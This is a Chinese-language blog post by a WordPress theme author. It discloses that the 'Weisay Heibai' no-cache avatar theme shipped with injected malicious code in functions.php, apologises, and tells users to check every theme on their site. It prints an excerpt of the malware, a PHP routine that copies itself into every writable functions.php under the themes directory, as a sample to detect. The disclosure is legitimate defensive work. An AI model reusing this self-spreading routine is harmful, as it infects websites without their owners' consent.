威言威语

今天朋友说我的主题（『Weisay Heibai』无缓存头像版）中的functions.php被插入了恶意代码，我感到非常的震惊，赶紧下载打开查证，果然发现了恶意代码，现在我已经删掉了此段恶意代码，主题包也已经更新过了，请下载使用过的朋友赶紧删除主题文件夹下面的functions.php，重新下载我新上传主题包中的functions.php。

这段代码会感染主题文件夹下的其他主题，可能会把这段代码复制到其他主题的functions.php下面，所以很抱歉，大家要修正不仅仅是『Weisay Heibai』无缓存头像版，还有你主题文件夹下的其他主题，请使用的朋友特别注意检查下，看有没有问题，我深感抱歉。

WordPress黑白主题『Weisay Heibai』我发布2个版本，『Weisay Heibai』无缓存头像版 是我后来发布的版本，开始使用的人可能不知道，『Weisay Heibai』缓存头像版是没有问题的，只有『Weisay Heibai』无缓存头像版 有问题。

前几天帮人家修改了主题，可能导致这个问题的发生，开始我也不知道竟然还有这个东东，感谢zwwooooo的提醒。

希望用过我主题的朋友，都检查下主题的functions.php，看看其中有没有类似这段，这段恶意代码很长，我截取前面一段。

function _verifyactivate_widgets(){
	$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
	$output=strip_tags($output, $allowed);
	$direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
	if (is_array($direst)){
		foreach ($direst as $item){
			if (is_writable($item)){
				$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
				$cont=file_get_contents($item);
				if (stripos($cont,$ftion) === false){
					$comaar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
					$output .= $before . "Not found" . $after;
					if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
					$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $comaar . "\n" .$widget);fclose($f);
					$output .= ($isshowdots && $ellipsis) ? "..." : "";
				}
			}
		}
	}

我主题正常的functions.php在

add_filter('the_content', 'password_hint');
//全部设置结束
?>

之后就结束了，后面还有其他代码的话就说明有问题了。

希望使用我主题的朋友都检查下，再次深感抱歉，以后我会严格检查我的主题的。